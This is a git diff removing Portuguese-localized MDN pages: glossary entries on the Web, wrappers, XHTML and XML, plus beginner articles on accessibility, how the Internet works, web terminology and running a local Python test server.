    -
  • {{Interwiki("wikipedia", "WHATWG")}} na Wikipedia
  • -
  • Site da WHATWG
  • -
diff --git a/files/pt-pt/glossary/world_wide_web/index.html b/files/pt-pt/glossary/world_wide_web/index.html deleted file mode 100644 index d7b77d6746..0000000000 --- a/files/pt-pt/glossary/world_wide_web/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: World Wide Web -slug: Glossary/World_Wide_Web -tags: - - Glossário - - Infraestrutura - - Rede Mundial - - WWW - - World Wide Web -translation_of: Glossary/World_Wide_Web -original_slug: Glossário/World_Wide_Web ---- -

A World Wide Web (Rede Mundial) — comumente conhecido como WWW, W3 ou Web - é um sistema interligado de páginas da Web públicas acessíveis através da {{Glossary('Internet')}}. A Web não é o mesmo que Internet: a Web é uma das muitas aplicações criadas no topo da Internet.

- -

Tim Berners-Lee propôs a arquitetura do que se tornou conhecido como World Wide Web. Ele criou a primeira Web {{Glossary("Server","servidor")}}, {{Glossary("Browser","navegador")}} da Web, e página da Web no próprio computador no laboratório de investigação de física CERN, em 1990. Em 1991, ele anúnciou a sua criação no fórum de discussão alt.hypertext, marcando o momento em que a Web foi tornada pública pela primeira vez.

- -

O sistema que nós conhecemos hoje como 'a Web' consiste em vários componentes:

- -
    -
  • O protocolo {{Glossary("HTTP")}} administra a transferência de dados entre um servidor e um cliente.
  • -
  • Para aceder a um componente da Web, um cliente fornce um identificador universal único, chamado de {{Glossary("URL")}} (localização de recurso uniforme) ou {{Glossary("URI")}} (identificador de recurso uniforme) (conhecido anteriormente como Identificador de Documento Universal (UDI)).
  • -
  • {{Glossary("HTML")}} (linguagem de marcação de hipertexto) é o formato mais comum para a publicação de documentos da Web.
  • -
- -

Interligar, ou ligar recursos através de {{Glossary("Hyperlink","hiperligações")}}, é um conceito de definição da Web, ajudando a sua identidade como uma coleção de documentos ligados.

- -

Logo depois de inventar a Web, Tim Berners-Lee fundou a {{Glossary("W3C")}} (World Wide Web Consortium) para uniformizar e desenvolver a Web ainda mais. Este consórcio consiste em grupos de interesse da Web essenciais, tais como responsáveis pelo desenvolvimento de navegadores da Web, entidades governamentais, investigadores, e universidades. A sua missão inclui educação e divulgação.

- -

Saiba mais

- -

Saiba mais sobre a mesma

- - - -

General knowledge

- - diff --git a/files/pt-pt/glossary/wrapper/index.html b/files/pt-pt/glossary/wrapper/index.html deleted file mode 100644 index dbc16d0857..0000000000 --- a/files/pt-pt/glossary/wrapper/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Wrapper -slug: Glossary/Wrapper -tags: - - CodingScripting - - Glossary - - Glossário - - Wrapper -translation_of: Glossary/Wrapper -original_slug: Glossário/Wrapper ---- -

Em linguagem de programação, tal como JavaScript, um wrapper é uma função destinada a chamar uma ou mais outras funções, às vezes apenas por conveniência, e às vezes adaptando-as para executar uma tarefa ligeiramente diferente no processo.

- -

Por exemplo, bibliotecas SDK para AWS são exemplos de wrappers.

- -

Saber mais

- -

Conhecimentto geral

- -

{{Interwiki("wikipedia", "Wrapper function")}} na Wikipédia (inglês)

- - diff --git a/files/pt-pt/glossary/xhtml/index.html b/files/pt-pt/glossary/xhtml/index.html deleted file mode 100644 index 37f266b18d..0000000000 --- a/files/pt-pt/glossary/xhtml/index.html +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: XHTML -slug: Glossary/XHTML -tags: - - CodingScripting - - Glossário - - XHTML -translation_of: Glossary/XHTML -original_slug: XHTML ---- -

HTML pode viajar através da rede para um navegador quer em sintaxe de HTML ou uma sintaxe chamada de XML.

- -

HTML5 e HTML/XHTML

- -

O padrão de HTML5 define ambas as sintaxes. O tipo MIME (enviado no cabeçalho Content-Type de HTTP) indica a escolha da sintaxe: para XHTML o tipo MIME irá ser application/xhtml+xml, de outro modo  text/html.

- -

Este exemplo mostra um documento HTML e um documento XHTML incluindo os cabeçalhos de HTTP apropriados:

- -

Documento HTML

- -
HTTP/1.1 200 OK
-Content-Type: text/html
-
-<!DOCTYPE html>
-<html lang=en>
-  <head>
-    <meta charset=utf-8>
-    <title>HTML</title>
-  </head>
-  <body>
-    <p>I am a HTML document</p>
-  </body>
-</html>
-
- -

Documento XHTML

- -
HTTP/1.1 200 OK
-Content-Type: application/xhtml+xml
-
-<html xml:lang="en" xmlns="http://www.w3.org/1999/xhtml">
-  <head>
-    <title>XHTML</title>
-  </head>
-  <body>
-    <p>I am a XHTML document</p>
-  </body>
-</html>
-
- -

Tipo MIME versus DOCTYPE

- -

Before HTML5, the two separate specifications defined the two syntaxes (HTML 4.01 and XHTML 1.0). According to the XHTML1 standard, you could use XHTML by declaring a special DOCTYPE. However, no browsers have ever implemented this, and the HTML5 standard has reversed the decision. If your page is sent as text/html, you are not using XHTML.

- -

Instead, the proper MIME type must be present in the Content-Type HTTP header. If you only put the MIME type into an HTML meta tag like <meta http-equiv=…>, it will be ignored and treated like text/html.

- -

If you serve your pages as text/html and believe that you are writing XHTML, you may face several problems, as described in these articles:

- - - -

Suporte

- -

Most browsers currently support XHTML, including Firefox, Chrome, Safari, Opera, and Internet Explorer (since IE 9). (Internet Explorer 8 and older browsers instead show a download dialog box for unknown file types when they see an XHTML document with the correct XHTML MIME type.)

- -

Also be aware that many popular {{Glossary("JavaScript")}} libraries and developer tools have limited or no support for XHTML.

- -

Diferençãs do HTML

- -

See Properly Using CSS and JavaScript in XHTML Documents for a partial list of differences between HTML and XHTML.

- -

Ferramentas

- - - -

Consulte também

- - - -

View All...

- -
- - - - - -
diff --git a/files/pt-pt/glossary/xml/index.html b/files/pt-pt/glossary/xml/index.html deleted file mode 100644 index c96b2a429b..0000000000 --- a/files/pt-pt/glossary/xml/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: XML -slug: Glossary/XML -tags: - - Glossário - - XML - - l10n:priority -translation_of: Glossary/XML -original_slug: Glossário/XML ---- -

XML - Linguagem de Marcação Extensível, é uma linguagem de marcação genérica especificada pelo W3C. A indústria de tecnologia de informação (TI) utiliza muitas linguagens com base em XML, tal como as linguagens de descrição de dados.

- -

As tags de XML assemelham-se com as etiquetas de HTML, mas XML é muito mais flexível porque esta deixa os utilizadores definir as suas próprias etiquetas. Deste modo, XML atua como uma linguagem meta—que é, esta pode ser utilizada para definir outras linguagens, tais como {{Glossary("RSS")}}. além disso, HTML é uma linguagem de apresentação, enquanto XML é uma linguagem de descrição de dados. Isto significa, que XML tem aplicações muito mais amplas do que apenas a Web. Por exemplo, os serviços da Web podem utilizar XML para trocar pedidos e respostas.

- -

Saiba mais

- - diff --git a/files/pt-pt/learn/accessibility/index.html b/files/pt-pt/learn/accessibility/index.html deleted file mode 100644 index 77403afbb0..0000000000 --- a/files/pt-pt/learn/accessibility/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Acessibilidade -slug: Learn/Accessibility -tags: - - ARIA - - Acessibilidade - - Aprender - - Artigos - - CSS - - CodingScripting - - HTML - - JavaScript - - Landing - - Principiantes - - modulo -translation_of: Learn/Accessibility -original_slug: Learn/Acessibilidade ---- -
{{LearnSidebar}}
- -

Aprender um pouco de HTML, CSS e JavaScript é útil se quiser tornar-se em um desenvolvedor da web, mas o seu conhecimento precisa de ir mais além do que apenas utilizar as tecnologias - precisa de as utilizar com responsabilidade para maximizar o público dos seus sites da web e não impedir que as utilizem. Para conseguir isso, precisa de aderir às melhores práticas gerais (que são demonstradas através dos tópicos de HTML, CSS, e JavaScript), efetuar teste cruzado de navegador, e considerar a acessibilidade desde o início. Neste módulo, nós iremos abordar o último em detalhes.

- -

Sumario

- -

Quando um site é descrito como "acessível", isto significa que um utilizador pode aceder e interagir com todas as funções e conteúdo, sem preocupação de qual o modo que ele acede à web — inclusive e especialmente utilizadores com dificuldades físicas ou mentais.

- -
    -
  • Sites devem ser acessíveis a utilizadores de teclado, rato, e ecrãs touch, e qualquer outra forma que um utilizador aceda à web, incluindo leitores de ecrãs e assistentes de voz como a Alexa e a Google Home.
  • -
  • Aplicações devem ser compreendidas e manuseáveis por pessoas com problemas auditórios, visuais, físicos, ou de habilidade cognitiva.
  • -
  • Sites não devem causar dano; funções da web, como movimento, podem causar dores de cabeça ou ataques epiléticos.
  • -
- -

Como padrão, HTML é acessível, se utilizado corretamente. Acessibilidade web envolve certificar que o conteúdo continua acessível, indiferente de quem ou como se acede à web.

- -

O Firefox Accessibility Inspector (Inspetor de Acessibilidade Firefox) é uma ferramenta muito útil para verificar problemas de acessibilidade em páginas web. O seguinte vídeo oferece uma boa introdução:

- -

{{EmbedYouTube("7mqqgIxX_NU")}}

- -
-

Procura ser um programador de web front-end?

- -

Nos construimos um curso que inclui toda a informação essencial que precisa para atingir o seu objetivo.

- -

Começar a Aprender

-
- -

Pré-requisitos

- -

Para aproveitar este modulo ao máximo, é boa ideia estudar os primeiros dois módulos dos tópicos HTML, CSS, e JavaScript, ou até melhor, estudar as partes relevantes do modulo de acessibilidade enquanto estuda os tópicos de tecnologia relacionados.

- -
-

Nota: Se estiver a trabalhar num computador / tablete / outro dispositivo onde não tem a habilidade de criar os seus próprios ficheiros, pode tentar a maioria dos exemplos de código num IDE online como JSBin ou Thimble.

-
- -

Guias

- -
-
O que é acessibilidade?
-
Este artigo começa o módulo a definir o que acessibilidade — isto inclui quais os grupos que se tem de considerar e porquê, que ferramentas pessoas usam para aceder à web e como podemos fazer com que acessibilidade seja parte do nosso processo de desenvolvimento da web.
-
HTML: Uma boa base para acessibilidade
-
Uma grande parte de conteúdo da web pode ser feito acessível ao usar os elementos corretos de HTML para os seus usos próprios. Este artigo dá uma vista aprofundada a como HTML pode ser utilizado para certificar a acessibilidade máxima.
-
Melhores práticas de CSS e JavaScript
-
CSS e JavaScript, quando usados corretamente, também têm o potencial de oferecer expriencias da web acessiveis, mas se mal utilizadas podem prejudicar significativamente a acessibilidade. Este artigo descreve algumas das melhores práticas de CSS e JavaScript que devem ser consideradas para garantir que mesmo conteúdos complexos sejam o mais acessíveis possível.
-
Básicos de WAI-ARIA
-
-

No seguimento do artigo anterior, por vezes é difícil criar controlos complexos da interface que envolvem HTML não semântico e conteúdos dinâmicos atualizados em JavaScript. WAI-ARIA é uma tecnologia que pode ajudar com tais problemas, acrescentando semântica que os navegadores e tecnologias de assistência podem reconhecer e utilizar para que os utilizadores saibam o que se está a passar. Aqui mostraremos como utilizá-la a um nível básico para melhorar a acessibilidade.

-
-
Acessibilidade em multimédia
-
Outra categoria de conteúdos que pode criar problemas de acessibilidade é a multimédia — os conteúdos de vídeo, áudio e imagem precisam de receber alternativas textuais adequadas, para que possam ser compreendidos pelas tecnologias de assistência e pelos seus utilizadores. Este artigo mostra como.
-
Acessibilidade em moveis
-
Com o acesso à web em dispositivos móveis a ser tão popular, e com plataformas populares como o iOS e o Android a terem ferramentas de acessibilidade completas, é importante considerar a acessibilidade do seu conteúdo web nestas plataformas.  Este artigo analisa as considerações de acessibilidade específicas para dispositivos móveis.
-
- -

Avaliações

- -
-
Troubleshooting de Acessibilidade
-
Na avaliação para este modulo, nos apresentamos um site simples com uns problemas de acessibilidade que tem de diagonisar e resolver.
-
- -

Ver também

- - diff --git a/files/pt-pt/learn/common_questions/how_does_the_internet_work/index.html b/files/pt-pt/learn/common_questions/how_does_the_internet_work/index.html deleted file mode 100644 index 1eddf3b641..0000000000 --- a/files/pt-pt/learn/common_questions/how_does_the_internet_work/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Como funciona Internet? -slug: Learn/Common_questions/How_does_the_Internet_work -tags: - - Mecânica da Web - - Principiante - - Tutorial -translation_of: Learn/Common_questions/How_does_the_Internet_work -original_slug: Learn/Questoes_comuns/Como_funciona_a_Internet ---- -
{{LearnSidebar}}
- -
-

This article discusses what the Internet is and how it works.

-
- - - - - - - - - - - - -
Prerequisites:None, but we encourage you to read the Article on setting project goals first
Objective:You will learn the basics of the technical infrastructure of the Web and the difference between Internet and the Web.
- -

Resumo

- -

The Internet is the backbone of the Web, the technical infrastructure that makes the Web possible. At its most basic, the Internet is a large network of computers which communicate all together.

- -

The history of the Internet is somewhat obscure. It began in the 1960s as a US-army-funded research project, then evolved into a public infrastructure in the 1980s with the support of many public universities and private companies. The various technologies that support the Internet have evolved over time, but the way it works hasn't changed that much: Internet is a way to connect computers all together and ensure that, whatever happens, they find a way to stay connected.

- -

Active Learning

- - - -

Deeper dive

- -

A simple network

- -

When two computers need to communicate, you have to link them, either physically (usually with an Ethernet cable) or wirelessly (for example with WiFi or Bluetooth systems). All modern computers can sustain any of those connections.

- -
-

Note: For the rest of this article, we will only talk about physical cables, but wireless networks work the same.

-
- -

Two computers linked together

- -

Such a network is not limited to two computers. You can connect as many computers as you wish. But it gets complicated quickly. If you're trying to connect, say, ten computers, you need 45 cables, with nine plugs per computer!

- -

Ten computers all together

- -

To solve this problem, each computer on a network is connected to a special tiny computer called a router. This router has only one job: like a signaler at a railway station, it makes sure that a message sent from a given computer arrives at the right destination computer. To send a message to computer B, computer A must send the message to the router, which in turn forwards the message to computer B and makes sure the message is not delivered to computer C.

- -

Once we add a router to the system, our network of 10 computers only requires 10 cables: a single plug for each computer and a router with 10 plugs.

- -

Ten computers with a router

- -

A rede das redes

- -

So far so good. But what about connecting hundreds, thousands, billions of computers? Of course a single router can't scale that far, but, if you read carefully, we said that a router is a computer like any other, so what keeps us from connecting two routers together? Nothing, so let's do that.

- -

Two routers linked together

- -

By connecting computers to routers, then routers to routers, we are able to scale infinitely.

- -

Routers linked to routers

- -

Such a network comes very close to what we call the Internet, but we're missing something. We built that network for our own purposes. There are other networks out there: your friends, your neighbors, anyone can have their own network of computers. But it's not really possible to set cables up between your house and the rest of the world, so how can you handle this? Well, there are already cables linked to your house, for example, electric power and telephone. The telephone infrastructure already connects your house with anyone in the world so it is the perfect wire we need. To connect our network to the telephone infrastructure, we need a special piece of equipment called a modem. This modem turns the information from our network into information manageable by the telephone infrastructure and vice versa.

- -

A router linked to a modem

- -

So we are connected to the telephone infrastructure. The next step is to send the messages from our network to the network we want to reach. To do that, we will connect our network to an Internet Service Provider (ISP). An ISP is a company that manages some special routers that are all linked together and can also access other ISPs' routers. So the message from our network is carried through the network of ISP networks to the destination network. The Internet consists of this whole infrastructure of networks.

- -

Full Internet stack

- -

Encontrar computadores

- -

If you want to send a message to a computer, you have to specify which one. Thus any computer linked to a network has a unique address that identifies it, called an "IP address" (where IP stands for Internet Protocol). It's an address made of a series of four numbers separated by dots, for example: 192.168.2.10.

- -

That's perfectly fine for computers, but we human beings have a hard time remembering that sort of address. To make things easier, we can alias an IP address with a human readable name called a domain name. For example (at the time of writing; IP addresses can change) google.com is the domain name used on top of the IP address 173.194.121.32. So using the domain name is the easiest way for us to reach a computer over the Internet.

- -

Show how a domain name can alias an IP address

- -

Internet e a Web

- -

As you might notice, when we browse the Web with a Web browser, we usually use the domain name to reach a website. Does that mean the Internet and the Web are the same thing? It's not that simple. As we saw, the Internet is a technical infrastructure which allows billions of computers to be connected all together. Among those computers, some computers (called Web servers) can send messages intelligible to web browsers. The Internet is an infrastructure, whereas the Web is a service built on top of the infrastructure. It is worth noting there are several other services built on top of the Internet, such as email and {{Glossary("IRC")}}.

- -

Passos seguintes

- - diff --git a/files/pt-pt/learn/common_questions/index.html b/files/pt-pt/learn/common_questions/index.html deleted file mode 100644 index 23788a5fd7..0000000000 --- a/files/pt-pt/learn/common_questions/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Questões Comuns -slug: Learn/Common_questions -translation_of: Learn/Common_questions -original_slug: Learn/Questoes_comuns ---- -
{{LearnSidebar}}
- -

This section of the Learning Area is designed to provide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g. the HTML or CSS learning articles.) These articles are designed to work on their own.

- -

Como é que a Web funciona

- -

This section covers web mechanics —questions relating to general knowledge of the Web ecosystem and how it works.

- -
-
-

Como é que a Internet funciona?

-
-
The Internet is the backbone of the Web, the technical infrastructure that makes the Web possible. At its most basic, the Internet is a large network of computers which communicate all together. This article discusses how it works, at a basic level.
-
-

Qual é a diferença entre página da Web, site da Web, servidor da Web, e motor de pesquisa?

-
-
In this article we describe various web-related concepts: webpages, websites, web servers, and search engines. These terms are often confused by newcomers to the Web, or are incorrectly used. Let's learn what they each mean!
-
-

O que é um URL?

-
-
With {{Glossary("Hypertext")}} and {{Glossary("HTTP")}}, URL is one of the key concepts of the Web. It is the mechanism used by {{Glossary("Browser","browsers")}} to retrieve any published resource on the web.
-
-

O que é um nome de domínio?

-
-
Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any web server available on the Internet.
-
-

O que é um servidor da Web?

-
-
The term "Web server" can refer to the hardware or software that serves web sites to clients across the Web — or both of them working together. In this article we go over how web servers work, and why they're important.
-
-

O que são hiperligações?

-
-
In this article, we'll go over what hyperlinks are and why they matter.
-
- -

Ferramentas e configuração

- -

Questions related to the tools/software you can use to build websites.

- -
-
-

How much does it cost to do something on the Web?

-
-
When you're launching a website, you may spend nothing or your costs may go through the roof. In this article we discuss how much everything costs and what you get for what you pay (or don't pay).
-
-

What software do I need to build a website?

-
-
In this article we explain which software components you need when you're editing, uploading, or viewing a website.
-
-

What text editors are available?

-
-
In this article we highlight some things to think about when choosing and installing a text editor for web development.
-
-

How do I set up a basic working environment?

-
-
When working on a web project, you'll want to test it locally before you show it to the world. Some types of code require a server to test, and in this article we'll show you how to set one up. We'll also cover how to put a scalable structure in place so that your files stay organized even when your project gets big.
-
-

What are browser developer tools?

-
-
Every browser features a set of devtools for debugging HTML, CSS, and other web code. This article explains how to use the basic functions of your browser's devtools.
-
-

How do you make sure your website works properly?

-
-
So you've published your website online — very good! But are you sure it works properly? This article provides some basic troubleshooting steps.
-
-

How do you set up a local testing server?

-
-
-
-

This article explains how to set up a simple local testing server on your machine, and the basics of how to use it.

-
-
-
-

How do you upload files to a web server?

-
-
This article shows how to publish your site online with FTP tools — one fo the most common ways to get a website online so others can access it from their computers.
-
-

How do I use GitHub Pages?

-
-
This article provides a basic guide to publishing content using GitHub's gh-pages feature.
-
-

How do you host your website on Google App Engine?

-
-
Looking for a place to host your website? Here's a step-by-step guide to hosting your website on Google App Engine.
-
-

What tools are available to debug and improve website performance?

-
-
This set of articles shows you how to use the Developer Tools in Firefox to debug and improve performance of your website, using the tools to check the memory usage, the JavaScript call tree, the amount of DOM nodes being rendered, and more.
-
- -

Desenho e acessibilidade

- -

This section lists questions related to aesthetics, page structure, accessibility techniques, etc.

- -
-
-

How do I start to design my website?

-
-
This article covers the all-important first step of every project: define what you want to accomplish with it.
-
-

What do common web layouts contain?

-
-
When designing pages for your website, it's good to have an idea of the most common layouts. This article runs thorugh some typical web layouts, looking at the parts that make up each one.
-
-

What is accessibility?

-
-
This article introduces the basic concepts behind web accessibility.
-
-

How can we design for all types of users?

-
-
This article provides basic techniques to help you design websites for any kind of user — quick accessibility wins, and other such things.
-
-

What HTML features promote accessibility?

-
-
This article describes specific features of HTML that can be used to make a web page more accessible to people with different disabilities.
-
- -

Questões sobre HTML, CSS e JavaScript

- -

Para soluções comuns para problemas de HTML/CSS/JavaScript, tente os seguintes artigos:

- - diff --git a/files/pt-pt/learn/common_questions/pages_sites_servers_and_search_engines/index.html b/files/pt-pt/learn/common_questions/pages_sites_servers_and_search_engines/index.html deleted file mode 100644 index ba4db13d68..0000000000 --- a/files/pt-pt/learn/common_questions/pages_sites_servers_and_search_engines/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: >- - Qual é a diferença entre página da Web, site da Web, servidor da Web e - mecanismo de pesquisa? -slug: Learn/Common_questions/Pages_sites_servers_and_search_engines -tags: - - Mecânica da Web - - Principiante -translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines -original_slug: >- - Learn/Questoes_comuns/Qual_e_a_diferenca_entre_pagina_site_servidor_da_web_e_mecanismo_pesquisa ---- -
-

In this article, we describe various web-related concepts: web pages, websites, web servers, and search engines. These terms are often confused by newcomers to the web or are incorrectly used. Let's learn what they each mean!

-
- - - - - - - - - - - - -
Prerequisites:You should know how the Internet works.
Objective:Be able to describe the differences between a web page, a website, a web server, and a search engine.
- -

Resumo

- -

As with any area of knowledge, the web comes with a lot of jargon. Don't worry, we won't overwhelm you with all of it (we have a glossary if you're curious). However, there are a few basic terms you need to understand at the outset, since you'll hear these expressions all the time as you read on. It's easy to confuse these terms sometimes since they refer to related but different functionalities. In fact, you'll sometimes see these terms misused in news reports and elsewhere, so getting them mixed up is understandable!

- -

We'll cover these terms and technologies in more detail as we explore further, but these quick definitions will be a great start for you:

- -
-
web page
-
A document which can be displayed in a web browser such as Firefox, Google Chrome, Opera, Microsoft Internet Explorer or Edge, or Apple's Safari. These are also often called just "pages."
-
website
-
A collection of web pages which are grouped together and usually connected together in various ways. Often called a "web site" or simply a "site."
-
web server
-
A computer that hosts a website on the Internet.
-
search engine
-
A web service that helps you find other web pages, such as Google, Bing, Yahoo, or DuckDuckGo. Search engines are normally accessed through a web browser (e.g. you can perform search engine searches directly in the address bar of Firefox, Chrome, etc.) or through a web page (e.g. bing.com or duckduckgo.com).
-
- -

Let's look at a simple analogy — a public library. This is what you would generally do when visiting a library:

- -
    -
  1. Find a search index and look for the title of the book you want.
  2. -
  3. Make a note of the catalog number of the book.
  4. -
  5. Go to the particular section containing the book, find the right catalog number, and get the book.
  6. -
- -

Let's compare the library with a web server:

- -
    -
  • The library is like a web server. It has several sections, which is similar to a web server hosting multiple websites.
  • -
  • The different sections (science, math, history, etc.) in the library are like websites. Each section is like a unique website (two sections do not contain same books).
  • -
  • The books in each section are like webpages. One website may have several webpages, e.g., the Science section (the website) will have books on heat, sound, thermodynamics, statics, etc. (the webpages). Webpages can each be found at a unique location (URL).
  • -
  • The search index is like the search engine. Each book has its own unique location in the library (two books cannot be kept at the same place) which is specified by the catalog number.
  • -
- -

Active learning

- -

There is no active learning available yet. Please, consider contributing.

- -

Deeper dive

- -

So, let's dig deeper into how those four terms are related and why they are sometimes confused with each other.

- -

Página da Web

- -

A web page is a simple document displayable by a {{Glossary("browser")}}. Such documents are written in the {{Glossary("HTML")}} language (which we look into in more detail in other articles). A web page can embed a variety of different types of resources such as:

- -
    -
  • style information — controlling a page's look-and-feel
  • -
  • scripts — which add interactivity to the page
  • -
  • media — images, sounds, and videos.
  • -
- -
-

Note: Browsers can also display other documents such as {{Glossary("PDF")}} files or images, but the term web page specifically refers to HTML documents. Otherwise, we only use the term document.

-
- -

All web pages available on the web are reachable through a unique address. To access a page, just type its address in your browser address bar:

- -

Example of a web page address in the browser address bar

- -

Sites da Web

- -

A website is a collection of linked web pages (plus their associated resources) that share a unique domain name. Each web page of a given website provides explicit links—most of the time in the form of clickable portion of text—that allow the user to move from one page of the website to another.

- -

To access a website, type its domain name in your browser address bar, and the browser will display the website's main web page, or homepage (casually referred as "the home"):

- -

Example of a web site domain name in the browser address bar

- -

The ideas of a web page and a website are especially easy to confuse for a website that contains only one web page. Such a website is sometimes called a single-page website.

- -

Servidor da Web

- -

A web server is a computer hosting one or more websites. "Hosting" means that all the web pages and their supporting files are available on that computer. The web server will send any web page from the website it is hosting to any user's browser, per user request.

- -

Don't confuse websites and web servers. For example, if you hear someone say, "My website is not responding", it actually means that the web server is not responding and therefore the website is not available. More importantly, since a web server can host multiple websites, the term web server is never used to designate a website, as it could cause great confusion. In our previous example, if we said, "My web server is not responding", it means that multiple websites on that web server are not available.

- -

Mecanismo de Pesquisa

- -

Search engines are a common source of confusion on the web. A search engine is a special kind of website that helps users find web pages from other websites.

- -

There are plenty out there: Google, Bing, Yandex, DuckDuckGo, and many more. Some are generic, some are specialized about certain topics. Use whichever you prefer.

- -

Many beginners on the web confuse search engines and browsers. Let's make it clear: A browser is a piece of software that retrieves and displays web pages; a search engine is a website that helps people find web pages from other websites. The confusion arises because, the first time someone launches a browser, the browser displays a search engine's homepage. This makes sense, because, obviously, the first thing you want to do with a browser is to find a web page to display. Don't confuse the infrastructure (e.g., the browser) with the service (e.g., the search engine). The distinction will help you quite a bit, but even some professionals speak loosely, so don't feel anxious about it.

- -

Here is an instance of Firefox showing a Google search box as its default startup page:

- -

Example of Firefox nightly displaying a custom Google page as default

- -

Passos Seguintes

- - diff --git a/files/pt-pt/learn/common_questions/set_up_a_local_testing_server/index.html b/files/pt-pt/learn/common_questions/set_up_a_local_testing_server/index.html deleted file mode 100644 index ff782a93fb..0000000000 --- a/files/pt-pt/learn/common_questions/set_up_a_local_testing_server/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: Como configurar um servidor local de testes? -slug: Learn/Common_questions/set_up_a_local_testing_server -tags: - - Aprender - - Nodo - - PHP - - Principiante - - Python - - django - - servidores -translation_of: Learn/Common_questions/set_up_a_local_testing_server -original_slug: Learn/Questoes_comuns/Congiurar_um_servidor_de_testes_local ---- -
-

Este artigo explica como configurar um servidor de testes local simples  na sua máquina, e como o utilizar.

-
- - - - - - - - - - - - -
Pré-requisitos:pprimeiro, precisa de saber como é que a Internet funciona, e o que é um servidor da Web.
Objetivo:You will learn how to set up a local testing server.
- -

Ficheiros locais vs. ficheiros remotos

- -

Throughout most of the learning area, we tell you to just open your examples directly in a browser — this can be done by double clicking the HTML file, dragging and dropping it into the browser window, or choosing File > Open... and navigating to the HTML file. There are many ways to achieve this.

- -

If the web address path starts with file:// followed by the path to the file on your local hard drive, a local file is being used. In contrast, if you view one of our examples hosted on GitHub (or an example on some other remote server), the web address will start with http:// or https://, to show that the file has been received via HTTP.

- -

O problema com o teste de ficheiros locais

- -

Some examples won't run if you open them as local files. This can be due to a variety of reasons, the most likely being:

- -
    -
  • They feature asynchronous requests. Some browsers (including Chrome) will not run async requests (see Fetching data from the server) if you just run the example from a local file. This is because of security restrictions (for more on web security, read Website security).
  • -
  • They feature a server-side language. Server-side languages (such as PHP or Python) require a special server to interpret the code and deliver the results.
  • -
- -

Executar um servidor um servidor local de HTTP simples

- -

To get around the problem of async requests, we need to test such examples by running them through a local web server. One of the easiest ways to do this for our purposes is to use Python's SimpleHTTPServer module.

- -

To do this:

- -
    -
  1. -

    Install Python. If you are using Linux or Mac OS X, it should be available on your system already. If you are a Windows user, you can get an installer from the Python homepage and follow the instructions to install it:

    - -
      -
    • Go to python.org
    • -
    • Under the Download section, click the link for Python "3.xxx".
    • -
    • At the bottom of the page, choose the Windows x86 executable installer and download it.
    • -
    • When it has downloaded, run it.
    • -
    • On the first installer page, make sure you check the "Add Python 3.xxx to PATH" checkbox.
    • -
    • Click Install, then click Close when the installation has finished.
    • -
    -
  2. -
  3. -

    Open your command prompt (Windows)/terminal (OS X/Linux). To check Python is installed, enter the following command:

    - -
    python -V
    -
  4. -
  5. -

    This should return a version number. If this is OK, navigate to the directory that your example is inside, using the cd command.

    - -
    # include the directory name to enter it, for example
    -cd Desktop
    -# use two dots to jump up one directory level if you need to
    -cd ..
    -
  6. -
  7. -

    Enter the command to start up the server in that directory:

    - -
    # If Python version returned above is 3.X
    -python -m http.server
    -# If Python version returned above is 2.X
    -python -m SimpleHTTPServer
    -
  8. -
  9. -

    By default, this will run the contents of the directory on a local web server, on port 8000. You can go to this server by going to the URL localhost:8000 in your web browser. Here you'll see the contents of the directory listed — click the HTML file you want to run.

    -
  10. -
- -
-

Note: If you already have something running on port 8000, you can choose another port by running the server command followed by an alternative port number, e.g. python -m http.server 7800 (Python 3.x) or python -m SimpleHTTPServer 7800 (Python 2.x). You can then access your content at localhost:7800.

-
- -

Running server-side languages locally

- -

Python's SimpleHTTPServer module is useful, but it doesn't know how to run code written in languages such as PHP or Python. To handle that you'll need something more — exactly what you'll need depends on the server-side language you are trying to run. Here are a few examples:

- -
    -
  • To run Python server-side code, you'll need to use a Python web framework. You can find out how to use the Django framework by reading Django Web Framework (Python). Flask is also a good (slightly less heavyweight) alternative to Django. To run this you'll need to install Python/PIP, then install Flask using pip3 install flask. At this point you should be able to run the Python Flask examples using for example python3 python-example.py, then navigating to localhost:5000 in your browser.
  • -
  • To run Node.js (JavaScript) server-side code, you'll need to use raw node or a framework built on top of it. Express is a good choice — see Express Web Framework (Node.js/JavaScript).
  • -
  • To run PHP server-side code, you'll need a server setup that can interpret PHP. Good options for local PHP testing are MAMP (Mac and Windows) , AMPPS (Mac, Windows, Linux) and LAMP (Linux, Apache, MySQL, and PHP/Python/Perl). These are complete packages that create local setups to allow you to run the Apache server, PHP, and MySQL databases.
  • -
- -
- - - - -
-
-
 
- -
-
G
- -
M
- -
T
-
- -
-
 
- -
 
-
- -
- - - - - - - - - - - - -
-
 
-
-
 
-
-
 
-
-
 
- -
 
-
-
 
-
-
 
-
-
-
- -
 
- -
 
- -
 
- -
A função de fala é limitada a 200 caracteres
- -
-
 
- - - - - - - - -
-
 
-
Opções : Histórico : Comentários : DonateEncerrar
-
-
-
diff --git a/files/pt-pt/learn/common_questions/what_is_a_domain_name/index.html b/files/pt-pt/learn/common_questions/what_is_a_domain_name/index.html deleted file mode 100644 index 2aa82b66be..0000000000 --- a/files/pt-pt/learn/common_questions/what_is_a_domain_name/index.html +++ /dev/null @@ -1,235 +0,0 @@ ---- -title: O que é um nome de domíno? -slug: Learn/Common_questions/What_is_a_domain_name -tags: - - Infraestrutura - - Introdução - - Nomes de domínio - - Principiante - - Web -translation_of: Learn/Common_questions/What_is_a_domain_name -original_slug: Learn/Questoes_comuns/O_que_e_um_nome_de_dominio ---- -
-

In this article we discuss domain names: what they are, how they are structured, and how to get one.

-
- - - - - - - - - - - - -
Pré-requisitos:First you need to know how the Internet works and understand what URLs are.
Objetivo:Learn what domain names are, how they work, and why they are important.
- -

Resumo

- -

Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any web server available on the Internet.

- -

